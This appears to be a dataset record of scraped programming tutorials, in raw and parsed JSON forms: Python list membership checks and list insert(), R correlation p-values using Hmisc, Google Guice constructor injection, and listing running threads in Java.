title
stringlengths
3
221
text
stringlengths
17
477k
parsed
listlengths
0
3.17k
Check if element exists in list in Python - GeeksforGeeks
08 Aug, 2021 List is an important container in python as if stores elements of all the datatypes as a collection. Knowledge of certain list operations is necessary for day-day programming. This article discusses one of the basic list operations of ways to check the existence of elements in the list. In Naive method, one easily uses a loop that iterates through all the elements to check the existence of the target element. This is the simplest way to check the existence of the element in the list. Python is the most conventional way to check if an element exists in a list or not. This particular way returns True if an element exists in the list and False if the element does not exist in the list. List need not be sorted to practice this approach of checking. Code #1: Demonstrating to check the existence of an element in the list using the Naive method and in . Python3 # Python code to demonstrate# checking of element existence# using loops and in # Initializing listtest_list = [ 1, 6, 3, 5, 3, 4 ] print("Checking if 4 exists in list ( using loop ) : ") # Checking if 4 exists in list# using loopfor i in test_list: if(i == 4) : print ("Element Exists") print("Checking if 4 exists in list ( using in ) : ") # Checking if 4 exists in list# using inif (4 in test_list): print ("Element Exists") Output : Checking if 4 exists in list ( using loop ) : Element Exists Checking if 4 exists in list ( using in ) : Element Exists Converting the list into the set and then using in can possibly be more efficient than only using in. But having efficiency for a plus also has certain negatives. One among them is that the order of list is not preserved, and if you opt to take a new list for it, you would require to use extra space. Another drawback is that set disallows duplicity and hence duplicate elements would be removed from the original list. The conventional binary search way of testing element existence, hence list has to be sorted first and hence not preserving the element ordering. bisect_left() returns the first occurrence of the element to be found and has worked similarly to lower_bound() in C++ STL. Note: The bisect function will only state the position of where to insert the element but not the details about if the element is present or not. Code #2 : Demonstrating to check existence of element in list using set() + in and sort() + bisect_left(). Python3 # Python code to demonstrate# checking of element existence# using set() + in# using sort() + bisect_left()from bisect import bisect_left ,bisect # Initializing listtest_list_set = [ 1, 6, 3, 5, 3, 4 ]test_list_bisect = [ 1, 6, 3, 5, 3, 4 ] print("Checking if 4 exists in list ( using set() + in) : ") # Checking if 4 exists in list# using set() + intest_list_set = set(test_list_set)if 4 in test_list_set : print ("Element Exists") print("Checking if 4 exists in list ( using sort() + bisect_left() ) : ") # Checking if 4 exists in list# using sort() + bisect_left()test_list_bisect.sort()if bisect_left(test_list_bisect, 4)!=bisect(test_list_bisect, 4): print ("Element Exists")else: print("Element doesnt exist") We can use the in-built python List method, count(), to check if the passed element exists in List. If the passed element exists in the List, count() method will show the number of times it occurs in the entire list. If it is a non-zero positive number, it means an element exists in the List. Code #3 : Demonstrating to check the existence of elements in the list using count(). Python3 """Python code to demonstratechecking of element existenceusing List count() method""" # Initializing listtest_list = [10, 15, 20, 7, 46, 2808] print("Checking if 15 exists in list") # number of times element exists in listexist_count = test_list.count(15) # checking if it is more then 0if exist_count > 0: print("Yes, 15 exists in list")else: print("No, 15 does not exists in list") nidhi_biet anantapodder shreyaperla Python list-programs python-list Python python-list Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments Python Dictionary How to Install PIP on Windows ? Enumerate() in Python Read a file line by line in Python Iterate over a list in Python Different ways to create Pandas Dataframe Python program to convert a list to string Reading and Writing to text files in Python Python OOPs Concepts Create a Pandas DataFrame from Lists
[ { "code": null, "e": 24846, "s": 24818, "text": "\n08 Aug, 2021" }, { "code": null, "e": 25136, "s": 24846, "text": "List is an important container in python as if stores elements of all the datatypes as a collection. Knowledge of certain list operations is necessary for day-day programming. This article discusses one of the basic list operations of ways to check the existence of elements in the list. " }, { "code": null, "e": 25338, "s": 25136, "text": "In Naive method, one easily uses a loop that iterates through all the elements to check the existence of the target element. This is the simplest way to check the existence of the element in the list. " }, { "code": null, "e": 25605, "s": 25338, "text": "Python is the most conventional way to check if an element exists in a list or not. This particular way returns True if an element exists in the list and False if the element does not exist in the list. List need not be sorted to practice this approach of checking. " }, { "code": null, "e": 25710, "s": 25605, "text": "Code #1: Demonstrating to check the existence of an element in the list using the Naive method and in . " }, { "code": null, "e": 25718, "s": 25710, "text": "Python3" }, { "code": "# Python code to demonstrate# checking of element existence# using loops and in # Initializing listtest_list = [ 1, 6, 3, 5, 3, 4 ] print(\"Checking if 4 exists in list ( using loop ) : \") # Checking if 4 exists in list# using loopfor i in test_list: if(i == 4) : print (\"Element Exists\") print(\"Checking if 4 exists in list ( using in ) : \") # Checking if 4 exists in list# using inif (4 in test_list): print (\"Element Exists\")", "e": 26159, "s": 25718, "text": null }, { "code": null, "e": 26170, "s": 26159, "text": "Output : " }, { "code": null, "e": 26292, "s": 26170, "text": "Checking if 4 exists in list ( using loop ) : \nElement Exists\nChecking if 4 exists in list ( using in ) : \nElement Exists" }, { "code": null, "e": 26716, "s": 26294, "text": "Converting the list into the set and then using in can possibly be more efficient than only using in. But having efficiency for a plus also has certain negatives. One among them is that the order of list is not preserved, and if you opt to take a new list for it, you would require to use extra space. Another drawback is that set disallows duplicity and hence duplicate elements would be removed from the original list. " }, { "code": null, "e": 26986, "s": 26716, "text": "The conventional binary search way of testing element existence, hence list has to be sorted first and hence not preserving the element ordering. bisect_left() returns the first occurrence of the element to be found and has worked similarly to lower_bound() in C++ STL." }, { "code": null, "e": 27133, "s": 26986, "text": "Note: The bisect function will only state the position of where to insert the element but not the details about if the element is present or not. " }, { "code": null, "e": 27241, "s": 27133, "text": "Code #2 : Demonstrating to check existence of element in list using set() + in and sort() + bisect_left(). " }, { "code": null, "e": 27249, "s": 27241, "text": "Python3" }, { "code": "# Python code to demonstrate# checking of element existence# using set() + in# using sort() + bisect_left()from bisect import bisect_left ,bisect # Initializing listtest_list_set = [ 1, 6, 3, 5, 3, 4 ]test_list_bisect = [ 1, 6, 3, 5, 3, 4 ] print(\"Checking if 4 exists in list ( using set() + in) : \") # Checking if 4 exists in list# using set() + intest_list_set = set(test_list_set)if 4 in test_list_set : print (\"Element Exists\") print(\"Checking if 4 exists in list ( using sort() + bisect_left() ) : \") # Checking if 4 exists in list# using sort() + bisect_left()test_list_bisect.sort()if bisect_left(test_list_bisect, 4)!=bisect(test_list_bisect, 4): print (\"Element Exists\")else: print(\"Element doesnt exist\")", "e": 27974, "s": 27249, "text": null }, { "code": null, "e": 28268, "s": 27974, "text": "We can use the in-built python List method, count(), to check if the passed element exists in List. If the passed element exists in the List, count() method will show the number of times it occurs in the entire list. If it is a non-zero positive number, it means an element exists in the List." }, { "code": null, "e": 28354, "s": 28268, "text": "Code #3 : Demonstrating to check the existence of elements in the list using count()." }, { "code": null, "e": 28362, "s": 28354, "text": "Python3" }, { "code": "\"\"\"Python code to demonstratechecking of element existenceusing List count() method\"\"\" # Initializing listtest_list = [10, 15, 20, 7, 46, 2808] print(\"Checking if 15 exists in list\") # number of times element exists in listexist_count = test_list.count(15) # checking if it is more then 0if exist_count > 0: print(\"Yes, 15 exists in list\")else: print(\"No, 15 does not exists in list\")", "e": 28753, "s": 28362, "text": null }, { "code": null, "e": 28764, "s": 28753, "text": "nidhi_biet" }, { "code": null, "e": 28777, "s": 28764, "text": "anantapodder" }, { "code": null, "e": 28789, "s": 28777, "text": "shreyaperla" }, { "code": null, "e": 28810, "s": 28789, "text": "Python list-programs" }, { "code": null, "e": 28822, "s": 28810, "text": "python-list" }, { "code": null, "e": 28829, "s": 28822, "text": "Python" }, { "code": null, "e": 28841, "s": 28829, "text": "python-list" }, { "code": null, "e": 28939, "s": 28841, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 28948, "s": 28939, "text": "Comments" }, { "code": null, "e": 28961, "s": 28948, "text": "Old Comments" }, { "code": null, "e": 28979, "s": 28961, "text": "Python Dictionary" }, { "code": null, "e": 29011, "s": 28979, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 29033, "s": 29011, "text": "Enumerate() in Python" }, { "code": null, "e": 29068, "s": 29033, "text": "Read a file line by line in Python" }, { "code": null, "e": 29098, "s": 29068, "text": "Iterate over a list in Python" }, { "code": null, "e": 29140, "s": 29098, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 29183, "s": 29140, "text": "Python program to convert a list to string" }, { "code": null, "e": 29227, "s": 29183, "text": "Reading and Writing to text files in Python" }, { "code": null, "e": 29248, "s": 29227, "text": "Python OOPs Concepts" } ]
How to find the significant correlation in an R data frame?
To find the significant correlation in an R data frame, we would need to find the matrix of p-values for the correlation test. This can be done by using the function rcorr of Hmisc package and read the output as matrix. For example, if we have a data frame called df then the correlation matrix with p-values can be found by using rcorr(as.matrix(df)). Consider the below data frame − Live Demo > x1<-rnorm(20) > x2<-rnorm(20) > x3<-rnorm(20) > df1<-data.frame(x1,x2,x3) > df1 x1 x2 x3 1 -0.96730523 -1.73067540 -0.01974065 2 0.08564529 -0.05200856 0.76356487 3 -0.33694783 -0.30326744 -0.04760562 4 0.54367676 2.35227967 1.43707451 5 1.12280219 -0.18757952 -1.32278427 6 -0.33947234 0.23128580 -0.05856621 7 0.44756887 -1.38533649 -1.00647630 8 -2.51192456 1.05865975 0.28503664 9 -0.29031722 1.02173256 0.15224756 10 0.36920006 0.17323515 -0.35192833 11 -0.17268384 -1.14498165 0.03180043 12 -0.20811125 -0.49241097 -0.60731423 13 -0.03852074 0.41839372 0.93668284 14 1.98958724 0.85683240 -1.80125628 15 -1.46587108 -0.72375704 0.69243074 16 1.36737574 0.09767378 0.31809893 17 -1.23625739 -1.63587272 0.67043038 18 0.12273089 -0.77565928 -1.48336472 19 0.82783551 0.82508774 0.20627496 20 -0.08917803 0.60930926 -1.92432261 Loading Hmisc package and finding the p-values matrix for correlation test for the columns in df1 − > library(Hmisc) > rcorr(as.matrix(df1)) x1 x2 x3 x1 1.00 0.25 -0.38 x2 0.25 1.00 0.16 x3 -0.38 0.16 1.00 n = 20 P x1 x2 x3 x1 0.2899 0.1030 x2 0.2899 0.4919 x3 0.1030 0.4919 Live Demo > y1<-rpois(20,2) > y2<-rpois(20,5) > y3<-rpois(20,1) > y4<-rpois(20,1) > y5<-rpois(20,5) > df2<-data.frame(y1,y2,y3,y4,y5) > df2 y1 y2 y3 y4 y5 1 2 5 1 1 2 2 2 1 1 0 7 3 1 2 1 0 4 4 1 5 1 0 5 5 4 6 0 2 6 6 2 4 2 0 2 7 2 0 1 0 3 8 4 8 1 1 5 9 0 3 1 1 5 10 0 2 0 3 5 11 1 5 2 1 3 12 0 2 1 0 6 13 3 5 3 0 7 14 3 6 0 0 3 15 0 6 0 1 9 16 3 4 2 1 0 17 1 5 0 2 6 18 0 7 2 2 6 19 2 5 0 1 4 20 1 3 3 0 8 Finding the p-values matrix for correlation test for the columns in df2 − > rcorr(as.matrix(df2)) y1 y2 y3 y4 y5 y1 1.00 0.32 0.03 -0.16 -0.32 y2 0.32 1.00 -0.06 0.31 0.07 y3 0.03 -0.06 1.00 -0.40 -0.04 y4 -0.16 0.31 -0.40 1.00 0.06 y5 -0.32 0.07 -0.04 0.06 1.00 n= 20 y1 y2 y3 y4 y5 y1 0.1667 0.8898 0.4971 0.1714 y2 0.1667 0.7915 0.1873 0.7800 y3 0.8898 0.7915 0.0795 0.8694 y4 0.4971 0.1873 0.0795 0.8066 y5 0.1714 0.7800 0.8694 0.8066 Live Demo > z1<-runif(20,2,5) > z2<-runif(20,2,10) > z3<-runif(20,5,10) > df3<-data.frame(z1,z2,z3) > df3 z1 z2 z3 1 2.551367 4.399332 7.336909 2 3.513887 4.358521 5.377418 3 3.912958 9.211070 6.693739 4 4.878766 4.827914 9.044594 5 2.290927 5.935495 8.265392 6 3.225698 8.094953 8.095421 7 4.508908 3.864593 8.245445 8 3.418809 9.196999 8.158323 9 3.394496 2.589988 7.007051 10 3.395509 4.175238 5.704264 11 2.730546 6.833714 6.910100 12 4.147959 2.176295 6.996571 13 2.198546 6.049636 7.975485 14 2.275193 4.090590 7.933500 15 3.095163 6.409786 9.948502 16 2.388818 4.006544 9.998355 17 2.138960 5.293971 8.822274 18 2.439146 4.649725 7.313394 19 4.026674 8.068449 8.128699 20 4.436093 2.695067 6.952906 Finding the p-values matrix for correlation test for the columns in df3 − > rcorr(as.matrix(df3)) z1 z2 z3 z1 1.00 -0.08 -0.18 z2 -0.08 1.00 0.17 z3 -0.18 0.17 1.00 n = 20 P z1 z2 z3 z1 0.7265 0.4435 z2 0.7265 0.4641 z3 0.4435 0.4641
[ { "code": null, "e": 1415, "s": 1062, "text": "To find the significant correlation in an R data frame, we would need to find the matrix of p-values for the correlation test. This can be done by using the function rcorr of Hmisc package and read the output as matrix. For example, if we have a data frame called df then the correlation matrix with p-values can be found by using rcorr(as.matrix(df))." }, { "code": null, "e": 1447, "s": 1415, "text": "Consider the below data frame −" }, { "code": null, "e": 1457, "s": 1447, "text": "Live Demo" }, { "code": null, "e": 1539, "s": 1457, "text": "> x1<-rnorm(20)\n> x2<-rnorm(20)\n> x3<-rnorm(20)\n> df1<-data.frame(x1,x2,x3)\n> df1" }, { "code": null, "e": 2358, "s": 1539, "text": " x1 x2 x3\n1 -0.96730523 -1.73067540 -0.01974065\n2 0.08564529 -0.05200856 0.76356487\n3 -0.33694783 -0.30326744 -0.04760562\n4 0.54367676 2.35227967 1.43707451\n5 1.12280219 -0.18757952 -1.32278427\n6 -0.33947234 0.23128580 -0.05856621\n7 0.44756887 -1.38533649 -1.00647630\n8 -2.51192456 1.05865975 0.28503664\n9 -0.29031722 1.02173256 0.15224756\n10 0.36920006 0.17323515 -0.35192833\n11 -0.17268384 -1.14498165 0.03180043\n12 -0.20811125 -0.49241097 -0.60731423\n13 -0.03852074 0.41839372 0.93668284\n14 1.98958724 0.85683240 -1.80125628\n15 -1.46587108 -0.72375704 0.69243074\n16 1.36737574 0.09767378 0.31809893\n17 -1.23625739 -1.63587272 0.67043038\n18 0.12273089 -0.77565928 -1.48336472\n19 0.82783551 0.82508774 0.20627496\n20 -0.08917803 0.60930926 -1.92432261" }, { "code": null, "e": 2458, "s": 2358, "text": "Loading Hmisc package and finding the p-values matrix for correlation test for the columns in df1 −" }, { "code": null, "e": 2499, "s": 2458, "text": "> library(Hmisc)\n> rcorr(as.matrix(df1))" }, { "code": null, "e": 2579, "s": 2499, "text": " x1 x2 x3\nx1 1.00 0.25 -0.38\nx2 0.25 1.00 0.16\nx3 -0.38 0.16 1.00" }, { "code": null, "e": 2588, "s": 2579, "text": "n = 20\nP" }, { "code": null, "e": 2684, "s": 2588, "text": " x1 x2 x3 \nx1 0.2899 0.1030\nx2 0.2899 0.4919\nx3 0.1030 0.4919 " }, { "code": null, "e": 2694, "s": 2684, "text": "Live Demo" }, { "code": null, "e": 2824, "s": 2694, "text": "> y1<-rpois(20,2)\n> y2<-rpois(20,5)\n> y3<-rpois(20,1)\n> y4<-rpois(20,1)\n> y5<-rpois(20,5)\n> df2<-data.frame(y1,y2,y3,y4,y5)\n> df2" }, { "code": null, "e": 3202, "s": 2824, "text": " y1 y2 y3 y4 y5\n1 2 5 1 1 2\n2 2 1 1 0 7\n3 1 2 1 0 4\n4 1 5 1 0 5\n5 4 6 0 2 6\n6 2 4 2 0 2\n7 2 0 1 0 3\n8 4 8 1 1 5\n9 0 3 1 1 5\n10 0 2 0 3 5\n11 1 5 2 1 3\n12 0 2 1 0 6\n13 3 5 3 0 7\n14 3 6 0 0 3\n15 0 6 0 1 9\n16 3 4 2 1 0\n17 1 5 0 2 6\n18 0 7 2 2 6\n19 2 5 0 1 4\n20 1 3 3 0 8" }, { "code": null, "e": 3276, "s": 3202, "text": "Finding the p-values matrix for correlation test for the columns in df2 −" }, { "code": null, "e": 3300, "s": 3276, "text": "> rcorr(as.matrix(df2))" }, { "code": null, "e": 3498, "s": 3300, "text": " y1 y2 y3 y4 y5\ny1 1.00 0.32 0.03 -0.16 -0.32\ny2 0.32 1.00 -0.06 0.31 0.07\ny3 0.03 -0.06 1.00 -0.40 -0.04\ny4 -0.16 0.31 -0.40 1.00 0.06\ny5 -0.32 0.07 -0.04 0.06 1.00" }, { "code": null, "e": 3504, "s": 3498, "text": "n= 20" }, { "code": null, "e": 3732, "s": 3504, "text": " y1 y2 y3 y4 y5 \ny1 0.1667 0.8898 0.4971 0.1714\ny2 0.1667 0.7915 0.1873 0.7800\ny3 0.8898 0.7915 0.0795 0.8694\ny4 0.4971 0.1873 0.0795 0.8066\ny5 0.1714 0.7800 0.8694 0.8066 " }, { "code": null, "e": 3742, "s": 3732, "text": "Live Demo" }, { "code": null, "e": 3838, "s": 3742, "text": "> z1<-runif(20,2,5)\n> z2<-runif(20,2,10)\n> z3<-runif(20,5,10)\n> df3<-data.frame(z1,z2,z3)\n> df3" }, { "code": null, "e": 4468, "s": 3838, "text": " z1 z2 z3\n1 2.551367 4.399332 7.336909\n2 3.513887 4.358521 5.377418\n3 3.912958 9.211070 6.693739\n4 4.878766 4.827914 9.044594\n5 2.290927 5.935495 8.265392\n6 3.225698 8.094953 8.095421\n7 4.508908 3.864593 8.245445\n8 3.418809 9.196999 8.158323\n9 3.394496 2.589988 7.007051\n10 3.395509 4.175238 5.704264\n11 2.730546 6.833714 6.910100\n12 4.147959 2.176295 6.996571\n13 2.198546 6.049636 7.975485\n14 2.275193 4.090590 7.933500\n15 3.095163 6.409786 9.948502\n16 2.388818 4.006544 9.998355\n17 2.138960 5.293971 8.822274\n18 2.439146 4.649725 7.313394\n19 4.026674 8.068449 8.128699\n20 4.436093 2.695067 6.952906" }, { "code": null, "e": 4542, "s": 4468, "text": "Finding the p-values matrix for correlation test for the columns in df3 −" }, { "code": null, "e": 4566, "s": 4542, "text": "> rcorr(as.matrix(df3))" }, { "code": null, "e": 4650, "s": 4566, "text": " z1 z2 z3\nz1 1.00 -0.08 -0.18\nz2 -0.08 1.00 0.17\nz3 -0.18 0.17 1.00" }, { "code": null, "e": 4659, "s": 4650, "text": "n = 20\nP" }, { "code": null, "e": 4755, "s": 4659, "text": " z1 z2 z3 \nz1 0.7265 0.4435\nz2 0.7265 0.4641\nz3 0.4435 0.4641 " } ]
Google Guice - Constructor Injection
Injection is a process of injecting dependeny into an object. Constructor injection is quite common. In this process, dependency is injected as argument to the constructor. See the example below. Create a java class named GuiceTester. GuiceTester.java import com.google.inject.AbstractModule; import com.google.inject.Guice; import com.google.inject.Inject; import com.google.inject.Injector; public class GuiceTester { public static void main(String[] args) { Injector injector = Guice.createInjector(new TextEditorModule()); TextEditor editor = injector.getInstance(TextEditor.class); editor.makeSpellCheck(); } } class TextEditor { private SpellChecker spellChecker; @Inject public TextEditor(SpellChecker spellChecker) { this.spellChecker = spellChecker; } public void makeSpellCheck(){ spellChecker.checkSpelling(); } } //Binding Module class TextEditorModule extends AbstractModule { @Override protected void configure() { bind(SpellChecker.class).to(SpellCheckerImpl.class); } } //spell checker interface interface SpellChecker { public void checkSpelling(); } //spell checker implementation class SpellCheckerImpl implements SpellChecker { @Override public void checkSpelling() { System.out.println("Inside checkSpelling." ); } } Compile and run the file, you will see the following output. Inside checkSpelling. 27 Lectures 1.5 hours Lemuel Ogbunude Print Add Notes Bookmark this page
[ { "code": null, "e": 2298, "s": 2102, "text": "Injection is a process of injecting dependeny into an object. Constructor injection is quite common. In this process, dependency is injected as argument to the constructor. See the example below." }, { "code": null, "e": 2337, "s": 2298, "text": "Create a java class named GuiceTester." }, { "code": null, "e": 2354, "s": 2337, "text": "GuiceTester.java" }, { "code": null, "e": 3441, "s": 2354, "text": "import com.google.inject.AbstractModule;\nimport com.google.inject.Guice;\nimport com.google.inject.Inject;\nimport com.google.inject.Injector;\n\npublic class GuiceTester {\n public static void main(String[] args) {\n Injector injector = Guice.createInjector(new TextEditorModule());\n TextEditor editor = injector.getInstance(TextEditor.class);\n editor.makeSpellCheck(); \n } \n}\n\nclass TextEditor {\n private SpellChecker spellChecker;\n\n @Inject\n public TextEditor(SpellChecker spellChecker) {\n this.spellChecker = spellChecker;\n }\n\n public void makeSpellCheck(){\n spellChecker.checkSpelling();\n }\n}\n\n//Binding Module\nclass TextEditorModule extends AbstractModule {\n\n @Override\n protected void configure() {\n bind(SpellChecker.class).to(SpellCheckerImpl.class);\n } \n}\n\n//spell checker interface\ninterface SpellChecker {\n public void checkSpelling();\n}\n\n\n//spell checker implementation\nclass SpellCheckerImpl implements SpellChecker {\n\n @Override\n public void checkSpelling() {\n System.out.println(\"Inside checkSpelling.\" );\n } \n}" }, { "code": null, "e": 3502, "s": 3441, "text": "Compile and run the file, you will see the following output." }, { "code": null, "e": 3525, "s": 3502, "text": "Inside checkSpelling.\n" }, { "code": null, "e": 3560, "s": 3525, "text": "\n 27 Lectures \n 1.5 hours \n" }, { "code": null, "e": 3577, "s": 3560, "text": " Lemuel Ogbunude" }, { "code": null, "e": 3584, "s": 3577, "text": " Print" }, { "code": null, "e": 3595, "s": 3584, "text": " Add Notes" } ]
Python List insert() Method
Python list method insert() inserts object obj into list at offset index. Following is the syntax for insert() method − list.insert(index, obj) index − This is the Index where the object obj need to be inserted. index − This is the Index where the object obj need to be inserted. obj − This is the Object to be inserted into the given list. obj − This is the Object to be inserted into the given list. This method does not return any value but it inserts the given element at the given index. The following example shows the usage of insert() method. #!/usr/bin/python aList = [123, 'xyz', 'zara', 'abc'] aList.insert( 3, 2009) print "Final List : ", aList When we run above program, it produces following result − Final List : [123, 'xyz', 'zara', 2009, 'abc'] 187 Lectures 17.5 hours Malhar Lathkar 55 Lectures 8 hours Arnab Chakraborty 136 Lectures 11 hours In28Minutes Official 75 Lectures 13 hours Eduonix Learning Solutions 70 Lectures 8.5 hours Lets Kode It 63 Lectures 6 hours Abhilash Nelson Print Add Notes Bookmark this page
[ { "code": null, "e": 2318, "s": 2244, "text": "Python list method insert() inserts object obj into list at offset index." }, { "code": null, "e": 2364, "s": 2318, "text": "Following is the syntax for insert() method −" }, { "code": null, "e": 2389, "s": 2364, "text": "list.insert(index, obj)\n" }, { "code": null, "e": 2457, "s": 2389, "text": "index − This is the Index where the object obj need to be inserted." }, { "code": null, "e": 2525, "s": 2457, "text": "index − This is the Index where the object obj need to be inserted." }, { "code": null, "e": 2586, "s": 2525, "text": "obj − This is the Object to be inserted into the given list." }, { "code": null, "e": 2647, "s": 2586, "text": "obj − This is the Object to be inserted into the given list." }, { "code": null, "e": 2738, "s": 2647, "text": "This method does not return any value but it inserts the given element at the given index." }, { "code": null, "e": 2796, "s": 2738, "text": "The following example shows the usage of insert() method." }, { "code": null, "e": 2903, "s": 2796, "text": "#!/usr/bin/python\n\naList = [123, 'xyz', 'zara', 'abc']\naList.insert( 3, 2009)\nprint \"Final List : \", aList" }, { "code": null, "e": 2961, "s": 2903, "text": "When we run above program, it produces following result −" }, { "code": null, "e": 3009, "s": 2961, "text": "Final List : [123, 'xyz', 'zara', 2009, 'abc']\n" }, { "code": null, "e": 3046, "s": 3009, "text": "\n 187 Lectures \n 17.5 hours \n" }, { "code": null, "e": 3062, "s": 3046, "text": " Malhar Lathkar" }, { "code": null, "e": 3095, "s": 3062, "text": "\n 55 Lectures \n 8 hours \n" }, { "code": null, "e": 3114, "s": 3095, "text": " Arnab Chakraborty" }, { "code": null, "e": 3149, "s": 3114, "text": "\n 136 Lectures \n 11 hours \n" }, { "code": null, "e": 3171, "s": 3149, "text": " In28Minutes Official" }, { "code": null, "e": 3205, "s": 3171, "text": "\n 75 Lectures \n 13 hours \n" }, { "code": null, "e": 3233, "s": 3205, "text": " Eduonix Learning Solutions" }, { "code": null, "e": 3268, "s": 3233, "text": "\n 70 Lectures \n 8.5 hours \n" }, { "code": null, "e": 3282, "s": 3268, "text": " Lets Kode It" }, { "code": null, "e": 3315, "s": 3282, "text": "\n 63 Lectures \n 6 hours \n" }, { "code": null, "e": 3332, "s": 3315, "text": " Abhilash Nelson" }, { "code": null, "e": 3339, "s": 3332, "text": " Print" }, { "code": null, "e": 3350, "s": 3339, "text": " Add Notes" } ]
How To Display All Running Threads In Java ?
18 Apr, 2022 A thread is basically a stream of instruction executed sequentially. It is used to implement multitasking in a program. A program can have multiple threads. Threads are used to do multiple things at the same time. Threads are basically used to perform complicated tasks in the background without affecting the main program. There are two methods to display all running threads in Java Java provides us a way to group multiple threads in a single object. In Java, a group of threads ie thread groups is being implemented by ThreadGroup class, so here we will be using a ThreadGroup object to group all the threads currently running. After this, we will be using the activeCount() method of ThreadGroup to get the number of active threads, then we will use the enumerate(Thread[] list) method of the ThreadGroup which will copy the currently active threads in an array, and we will loop over the array to get the names of all the active threads. Java // Java Program to display all the running threads using// ThreadGroup object import java.io.*; class GFGThread extends Thread { // overridden run method public void run() { System.out.println("Overridden Run Method"); }} public class GFG { public static void main(String[] args) { // making a thread object GFGThread t1 = new GFGThread(); GFGThread t2 = new GFGThread(); t1.start(); // starting the thread t2.start(); // getting the group of the threads/ ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); // getting the total active count of the threads int threadCount = threadGroup.activeCount(); Thread threadList[] = new Thread[threadCount]; // enumerating over the thread list threadGroup.enumerate(threadList); System.out.println("Active threads are:"); // iterating over the for loop to get the names of // all the active threads. for (int i = 0; i < threadCount; i++) System.out.println(threadList[i].getName()); }} The getAllStackTrace() method gives a stack trace of all the running threads. Then we make a set of the keys of that element because the method returns a map, and then we loop over all the elements of the set to print all the running threads. Java // Java Program to display all the running threads using// getAllStackTraces() Methodimport java.io.*;import java.lang.*;import java.util.*; class GFGThread extends Thread { // overridden run method public void run() { System.out.println("Overridden Run Method"); }} public class GFG { public static void main(String[] args) { // making a thread object GFGThread t1 = new GFGThread(); GFGThread t2 = new GFGThread(); t1.start(); // starting the thread t2.start(); // getAllStackTraces() method will return the Set of // Thread Objects Set<Thread> threadSet = Thread.getAllStackTraces().keySet(); // iterating over the threads to get the names of // all the active threads for (Thread x : threadSet) { System.out.println(x.getName()); } }} Output Overridden Run Method Overridden Run Method Thread-0 Reference Handler Thread-1 Signal Dispatcher main Finalizer rs1686740 adnanirshad158 simmytarika5 rkbhola5 Java-Multithreading Picked Java Java Programs Java Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. List Interface in Java with Examples Strings in Java Different ways of Reading a text file in Java Reverse an array in Java How to remove an element from ArrayList in Java? Java Programming Examples Convert Double to Integer in Java Implementing a Linked List in Java using Class Traverse Through a HashMap in Java Extends vs Implements in Java
[ { "code": null, "e": 54, "s": 26, "text": "\n18 Apr, 2022" }, { "code": null, "e": 378, "s": 54, "text": "A thread is basically a stream of instruction executed sequentially. It is used to implement multitasking in a program. A program can have multiple threads. Threads are used to do multiple things at the same time. Threads are basically used to perform complicated tasks in the background without affecting the main program." }, { "code": null, "e": 439, "s": 378, "text": "There are two methods to display all running threads in Java" }, { "code": null, "e": 998, "s": 439, "text": "Java provides us a way to group multiple threads in a single object. In Java, a group of threads ie thread groups is being implemented by ThreadGroup class, so here we will be using a ThreadGroup object to group all the threads currently running. After this, we will be using the activeCount() method of ThreadGroup to get the number of active threads, then we will use the enumerate(Thread[] list) method of the ThreadGroup which will copy the currently active threads in an array, and we will loop over the array to get the names of all the active threads." }, { "code": null, "e": 1003, "s": 998, "text": "Java" }, { "code": "// Java Program to display all the running threads using// ThreadGroup object import java.io.*; class GFGThread extends Thread { // overridden run method public void run() { System.out.println(\"Overridden Run Method\"); }} public class GFG { public static void main(String[] args) { // making a thread object GFGThread t1 = new GFGThread(); GFGThread t2 = new GFGThread(); t1.start(); // starting the thread t2.start(); // getting the group of the threads/ ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); // getting the total active count of the threads int threadCount = threadGroup.activeCount(); Thread threadList[] = new Thread[threadCount]; // enumerating over the thread list threadGroup.enumerate(threadList); System.out.println(\"Active threads are:\"); // iterating over the for loop to get the names of // all the active threads. for (int i = 0; i < threadCount; i++) System.out.println(threadList[i].getName()); }}", "e": 2119, "s": 1003, "text": null }, { "code": null, "e": 2362, "s": 2119, "text": "The getAllStackTrace() method gives a stack trace of all the running threads. Then we make a set of the keys of that element because the method returns a map, and then we loop over all the elements of the set to print all the running threads." }, { "code": null, "e": 2367, "s": 2362, "text": "Java" }, { "code": "// Java Program to display all the running threads using// getAllStackTraces() Methodimport java.io.*;import java.lang.*;import java.util.*; class GFGThread extends Thread { // overridden run method public void run() { System.out.println(\"Overridden Run Method\"); }} public class GFG { public static void main(String[] args) { // making a thread object GFGThread t1 = new GFGThread(); GFGThread t2 = new GFGThread(); t1.start(); // starting the thread t2.start(); // getAllStackTraces() method will return the Set of // Thread Objects Set<Thread> threadSet = Thread.getAllStackTraces().keySet(); // iterating over the threads to get the names of // all the active threads for (Thread x : threadSet) { System.out.println(x.getName()); } }}", "e": 3245, "s": 2367, "text": null }, { "code": null, "e": 3253, "s": 3245, "text": " Output" }, { "code": null, "e": 3366, "s": 3253, "text": "Overridden Run Method\nOverridden Run Method\nThread-0\nReference Handler\nThread-1\nSignal Dispatcher\nmain\nFinalizer" }, { "code": null, "e": 3376, "s": 3366, "text": "rs1686740" }, { "code": null, "e": 3391, "s": 3376, "text": "adnanirshad158" }, { "code": null, "e": 3404, "s": 3391, "text": "simmytarika5" }, { "code": null, "e": 3413, "s": 3404, "text": "rkbhola5" }, { "code": null, "e": 3433, "s": 3413, "text": "Java-Multithreading" }, { "code": null, "e": 3440, "s": 3433, "text": "Picked" }, { "code": null, "e": 3445, "s": 3440, "text": "Java" }, { "code": null, "e": 3459, "s": 3445, "text": "Java Programs" }, { "code": null, "e": 3464, "s": 3459, "text": "Java" }, { "code": null, "e": 3562, "s": 3464, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 3599, "s": 3562, "text": "List Interface in Java with Examples" }, { "code": null, "e": 3615, "s": 3599, "text": "Strings in Java" }, { "code": null, "e": 3661, "s": 3615, "text": "Different ways of Reading a text file in Java" }, { "code": null, "e": 3686, "s": 3661, "text": "Reverse an array in Java" }, { "code": null, "e": 3735, "s": 3686, "text": "How to remove an element from ArrayList in Java?" }, { "code": null, "e": 3761, "s": 3735, "text": "Java Programming Examples" }, { 